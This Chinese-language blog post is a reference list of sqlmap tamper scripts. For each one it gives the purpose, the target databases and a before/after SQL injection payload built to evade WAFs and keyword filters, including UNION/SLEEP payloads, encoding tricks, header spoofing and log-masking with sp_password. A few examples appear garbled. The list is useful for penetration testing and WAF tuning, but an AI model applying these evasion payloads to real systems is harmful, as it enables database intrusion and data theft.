0eunion.py

功能:在Union前添加1e0,只对数值注入生效

平台:MySQL,MSSQL

举例:1 UNION ALL SELECT ==> 1e0UNION ALL SELECT


apostrophemask.py

功能:对引号进行utf-8格式编码(%EF%BC%87)

平台:All

举例:1 AND '1'='1 ==> 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871


apostrophenullencode.py

功能:用非法的双unicode字符(%00%27)替换引号字符

平台:All

举例:1 AND '1'='1 ==> 1 AND %00%271%00%27=%00%271


appendnullbyte.py

功能:在有效载荷结束位置加载零字节字符编码

平台:Microsoft Access

举例:1 AND 1=1 ==> 1 AND 1=1%00


base64encode.py

功能:用base64格式进行编码

平台:All

举例:1' AND SLEEP(5)# ==> MScgQU5EIFNMRUVQKDUpIw==


between.py

功能:用between替换大于号(>)

平台:Mssql2005、MySQL 4/5.0/5.5、Oracle 10g、PostgreSQL 8.3/8.4/9.0

举例:

1 AND A > B --  ==> 1 AND A NOT BETWEEN 0 AND B  --

1 AND A = B --  ==> 1 AND A BETWEEN B AND B --


binary.py

功能:在允许的地方添加binary关键字

平台:MySQL

举例:

1 UNION ALL SELECT NULL, NULL, NULL == > 1 UNION ALL SELECT binary NULL, binary NULL, binary NULL
1 AND 2>1 ==> 1 AND binary 2>binary 1
CASE WHEN (1=1) THEN 1 ELSE 0x28 END ==> CASE WHEN (binary 1=binary 1) THEN binary 1 ELSE binary 0x28 END


bluecoat.py

功能:对SQL语句替换空格字符为(%09),并替换"="--->"LIKE"

平台:MySQL 5.1, SGOS

举例:SELECT username FROM users WHERE id = 1 ==> SELECT%09username FROM%09users WHERE%09id LIKE 1


chardoubleencode.py

功能:采用url格式编码2次

平台:All

举例:SELECT FIELD FROM%20TABLE ==> %2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545


charencode.py

功能:采用url格式编码1次

平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

举例:SELECT FIELD FROM%20TABLE ==> %53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45


charunicodeencode.py

功能:对字符串进行Unicode格式转义编码

平台:Mssql 2000,2005、MySQL 5.1.56、PostgreSQL 9.0.3 ASP/ASP.NET

举例:SELECT FIELD%20FROM TABLE ==> %u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045


charunicodeescape.py

功能:对字符串进行Unicode编码

平台:ALL

举例:1) AND 5603=3415 AND (7274=7274 ==> \u0031\u0029\u0020\u0041\u004E\u0044\u0020\u0035\u0036\u0030\u0033\u003D\u0033\u0034\u0031\u0035\u0020\u0041\u004E\u0044\u0020\u0028\u0037\u0032\u0037\u0034\u003D\u0037\u0032\u0037\u0034


commalesslimit.py

功能:LIMIT中的逗号替换为 OFFSET

平台: MySQL

举例: LIMIT M, N==>LIMIT N OFFSET M


commalessmid.py

功能:将payload中的逗号用 from和for代替,用于过滤了逗号并且是3个参数的情况

平台:MySQL 5.0, 5.5

举例:MID(VERSION(), 1, 1) ==> MID(VERSION() FROM 1 FOR 1)


commentbeforeparentheses.py

功能:在括号前加上/**/注释

平台: Microsoft SQL Server,MySQL,Oracle,PostgreSQL

举例:SELECT ABS(1) ==> SELECT ABS/**/(1)


concat2concatws.py

功能:CONCAT() ==> CONCAT_WS(),用于过滤了CONCAT()函数的情况

平台: MySQL 5.0

举例:CONCAT(1,2) ==> CONCAT_WS(MID(CHAR(0),0,0),1,2)


decentities.py

功能:将字符串转为HTML实体编码

平台:ALL

举例: 1' AND SLEEP(5) ==>1' AND SLEEP(5)#


dunion.py

功能: 用DUNION替换UNION

平台:Oracle

举例:1 UNION ALL SELECT ==> 1DUNION ALL SELECT


equaltolike.py

功能:= ==> LIKE,用于过滤了等号"="的情况

平台:Mssql 2005、MySQL 4, 5.0 and 5.5

举例:SELECT * FROM users WHERE id=1 ==> SELECT * FROM users WHERE id LIKE 1


equaltorlike.py

功能:用“RLIKE”运算符替换全部等于号“=”

平台:MYSQL

举例: SELECT * FROM users WHERE id=1 ==> SELECT * FROM users WHERE id RLIKE 1


escapequotes.py

功能:斜杠转义单引号和双引号

平台:ALL

举例: 1" AND SLEEP(5)#' ==> 1\\" AND SLEEP(5)#


greatest.py

功能:> ==> GREATEST

平台:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

举例:1 AND A > B ==> 1 AND GREATEST(A, B+1)=A

a和b+1比较,取两者中的最大值为a;则a >= b+1,亦即a > b


halfversionedmorekeywords.py

功能:空格 ==> /*!0 (在关键字前添加注释)

平台:MySQL 4.0.18, 5.0.22(Mysql < 5.1)

举例:union ==> /*!0union


hex2char.py

功能:将每个0x<hex>编码的字符串替换为等效的CONCAT(CHAR(),…)

平台:MySQL

举例:SELECT 0xdeadbeef ==> SELECT CONCAT(CHAR(222),CHAR(173),CHAR(190),CHAR(239))


hexentities.py

功能:HTML16进制实体编码所有字符

平台:ALL

举例:1' AND SLEEP(5)# ==> &#x31;&#x27;&#x20;&#x41;&#x4e;&#x44;&#x20;&#x53;&#x4c;&#x45;&#x45;&#x50;&#x28;&#x35;&#x29;&#x23;


htmlencode.py

功能: 对payload中非字母非数字字符进行HTML编码

平台: ALL

举例: 1' AND SLEEP(5)# ==> 1&#39;&#32;AND&#32;SLEEP&#40;5&#41;&#35;


if2case.py

功能: IF 替换为 CASE

平台: MySQL , SQLite ,SAP MaxDB

举例: IF(1, 2, 3) ==> CASE WHEN (1) THEN (2) ELSE (3) END


ifnull2casewhenisnull.py

功能: IFNULL 替换为 ISNULL

平台: MySQL , SQLite ,SAP MaxDB

举例: IFNULL(1, 2) ==> CASE WHEN ISNULL(1) THEN (2) ELSE (1) END


ifnull2ifisnull.py

功能:IFNULL(A, B) ==> IF(ISNULL(A), B, A)

平台:MySQL 5.0 and 5.5

举例:IFNULL(1, 2) ==> IF(ISNULL(1),2,1)


informationschemacomment.py

功能:

在 information_schema 后面加上 /**/ ,用于绕过对 information_schema 的情况

retVal = re.sub(r"(?i)(information_schema).", "g<1>/**/.", payload)

平台:All

举例:select table_name from information_schema.tables ==> select table_name from information_schema/**/.tables


least.py

功能:大于号>替换为LEAST

平台: MySQL 4, 5.0 and 5.5 , Oracle 10g, PostgreSQL 8.3, 8.4, 9.0

举例: 1 AND A > B ==> 1 AND LEAST(A,B+1)=B+1


lowercase.py

功能:将 payload 里的大写转为小写

平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

举例:SELECT table_name FROM INFORMATION_SCHEMA.TABLES ==> select table_name from information_schema.tables


luanginx.py

功能:LUA-Nginx WAFs 绕过 添加大量参数

平台:ALL

举例:1 AND 2>1 ==>a=b&b=d&c=d......& 1 AND 2>1


misunion.py

功能: UNION 替换为 -.1UNION

平台:Mysql

举例: 1 UNION ALL SELECT ==> 1-.1UNION ALL SELECT


modsecurityversioned.py

功能:用注释来包围完整的查询语句,用于绕过 ModSecurity 开源 waf

平台:MySQL 5.0

举例:1 AND 2>1--  ==> 1 /*!30874AND 2>1*/--


modsecurityzeroversioned.py

功能:用注释来包围完整的查询语句,用于绕过 waf ,和上面类似

平台:Mysql

举例:1 and 2>1--+ ==> 1 /*!00000and 2>1/--+


multiplespaces.py

功能:围绕SQL关键字添加多个空格

平台:All

举例:1 UNION SELECT foobar ==> 1 UNION SELECT foobar


ord2ascii.py

功能: ORD函数替换为ASCII函数

平台: MySQL

举例:ORD('42') ==> ASCII('42')


overlongutf8.py

功能: 转换给定的payload当中的所有字符

平台:All

举例:SELECT FIELD FROM TABLE WHERE 2>1 ==> SELECT%C0%AAFIELD%C0%AAFROM%C0%AATABLE%C0%AAWHERE%C0%AA2%C0%BE1


overlongutf8more.py

功能:将payload中的所有字符转换为超长UTF8

平台:ALL

举例: SELECT FIELD FROM TABLE WHERE 2>1 ==> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94%C0%A0%C1%86%C1%89%C1%85%C1%8C%C1%84%C0%A0%C1%86%C1%92%C1%8F%C1%8D%C0%A0%C1%94%C1%81%C1%82%C1%8C%C1%85%C0%A0%C1%97%C1%88%C1%85%C1%92%C1%85%C0%A0%C0%B2%C0%BE%C0%B1


percentage.py

功能:用百分号来绕过关键字过滤,在关键字的每个字母前面都加一个(%)

平台:Mssql 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0

举例:SELECT FIELD FROM TABLE ==> %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E


plus2concat.py

功能: +号替换为CONCAT

平台:Microsoft SQL Server 2012

举例: SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL ==> SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL


plus2fnconcat.py

功能:+号替换为fn CONCAT

平台:Microsoft SQL Server 2008+

举例: SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL ==> SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL


randomcase.py

功能:将 payload 随机大小写

平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

举例:INSERT ==> InseRt


randomcomments.py

功能:在 payload 的关键字中间随机插入注释符 /**/ ,可用于绕过关键字过滤

平台:Mysql

举例:INSERT ==> I / ** / N / ** / SERT


schemasplit.py

功能:testdb.users 替换为 testdb 9.e.users

平台:MySQL

举例: SELECT id FROM testdb.users ==> SELECT id FROM testdb 9.e.users


scientific.py

功能:在指定符号 ( ) . , | & % * ^ / 前添加1.e

平台:Mysql

举例: 1 AND ORD(MID((CURRENT_USER()),7,1))>1 ==> 1 AND ORD 1.e(MID((CURRENT_USER 1.e( 1.e) 1.e) 1.e,7 1.e,1 1.e) 1.e)>1


sleep2getlock.py

功能:SLEEP替换为GET_LOCK

平台:Mysql

举例:SLEEP(5) ==> "GET_LOCK('%s',5)


sp_password.py

功能:在payload语句后添加 sp_password ,用于迷惑数据库日志(Space ==> sp_password)

平台:Mssql

举例:1 AND 9227=9227--  ==> 1 AND 9227=9227 -- sp_password


space2comment.py

功能:用注释符 /**/ 代替空格

平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

举例:SELECT id FROM users ==> SELECT/**/id/**/FROM/**/users


space2dash.py

功能:用[注释符(--)+一个随机字符串+一个换行符]替换控制符

平台:MSSQL、 SQLite

举例:union select 1,2--+ ==> union--HSHjsJh%0Aselect--HhjHSJ%0A1,2--+


space2hash.py

功能:用[注释符(#)+一个随机字符串+一个换行符]替换控制符

平台:Mysql

举例:union select 1,2--+ ==> union%23HSHjsJh%0Aselect%23HhjHSJ%0A1,2--+


space2morecomment.py

功能:用 /_/ 代替空格

平台:MySQL

举例:SELECT id FROM users==>SELECT/_/id/_/FROM/_/users


space2morehash.py

功能:用多个[注释符(#)+一个随机字符串+一个换行符]替换控制符

平台:MySQL >= 5.1.13

举例:union select 1,2--+ ==> union %23 HSHjsJh %0A select %23 HhjHSJ %0A%23 HJHJhj %0A 1,2--+


space2mssqlblank.py

功能:用随机的空白符替换payload中的空格

blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')

平台:Mssql 2000,2005

举例:SELECT id FROM users ==> SELECT%0Eid%0DFROM%07users


space2mssqlhash.py

功能:用[字符# +一个换行符]替换payload中的空格

平台:MSSQL、MySQL

举例:union select 1,2--+ ==> union%23%0Aselect%23%0A1,2--+


space2mysqlblank.py

功能:用随机的空白符替换payload中的空格

blanks = ('%09', '%0A', '%0C', '%0D', '%0B', '%A0')

平台:Mysql

举例:SELECT id FROM users ==> SELECT%A0id%0DFROM%09users


space2mysqldash.py

功能:使用"--"加一个换行符替换空格

平台:Mysql,MSSQL

举例:1 AND 9227=9227==>1--%0AAND--%0A9227=9227

space2plus.py

功能:用加号(+)替换空格

平台:All

举例:SELECT id FROM users ==> SELECT+id+FROM+users


space2randomblank.py

功能:用随机的空白符替换payload中的空格

平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

举例:SELECT id FROM users ==> SELECT%0Did%0DFROM%0Ausers


substring2leftright.py

功能:将SUBSTRING语句 用LEFT和RIGHT代替

平台: PostgreSQL 9.6.12

举例: SUBSTRING((SELECT usename FROM pg_user)::text FROM 1 FOR 1) ==> LEFT((SELECT usename FROM pg_user)::text,1)


symboliclogical.py

功能:用 && 替换 and ,用 || 替换 or ,用于这些关键字被过滤的情况

平台:All

举例:

1 and 1=1 ==> 1 %26%26 1=1

1 or 1=1 ==> 1 %7c%7c 1=1


unionalltounion.py

功能:用 union select 替换union all select

平台:All

举例:union all select 1,2--+ ==> union select 1,2--+


unmagicquotes.py

功能:用宽字符绕过 GPC addslashes

平台:All

举例:1' and 1=1 ==> 1%df%27 and 1=1--


uppercase.py

功能:将payload中的小写字母转为大写格式

平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

举例:insert ==> INSERT


varnish.py

功能:添加一个HTTP头“ X-originating-IP ”来绕过WAF

平台:headers = kwargs.get("headers", {})headers["X-originating-IP"] = "127.0.0.1"

举例:All


versionedkeywords.py

功能:对非函数的关键字进行内联注释

平台:MySQL 4.0.18, 5.1.56, 5.5.11

举例:1 union select user() ==> 1/*!UNION//*!SELECT/user()


versionedmorekeywords.py

功能:对每个关键字进行注释处理

平台:MySQL 5.1.56, 5.5.11

举例:1 union select user() ==> 1/!UNION//!SELECT/user()


xforwardedfor.py

功能:添加一个伪造的HTTP头“ X-Forwarded-For ”来绕过WAF

平台:All

举例:headers = kwargs.get("headers", {})headers["X-Forwarded-For"] = randomIP()return payload

Last modification:April 1, 2023
  • 本文作者:Juneha
  • 本文链接:https://blog.mo60.cn/index.php/archives/579.html
  • 版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
  • 法律说明:
  • 文章声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全,本文内容未隐讳任何个人、群体、公司。非文学作品,请勿过度理解,根据《计算机软件保护条例》第十七条,本站所有软件请仅用于学习研究用途。
如果觉得我的文章对你有用,请随意赞赏,可备注留下ID方便感谢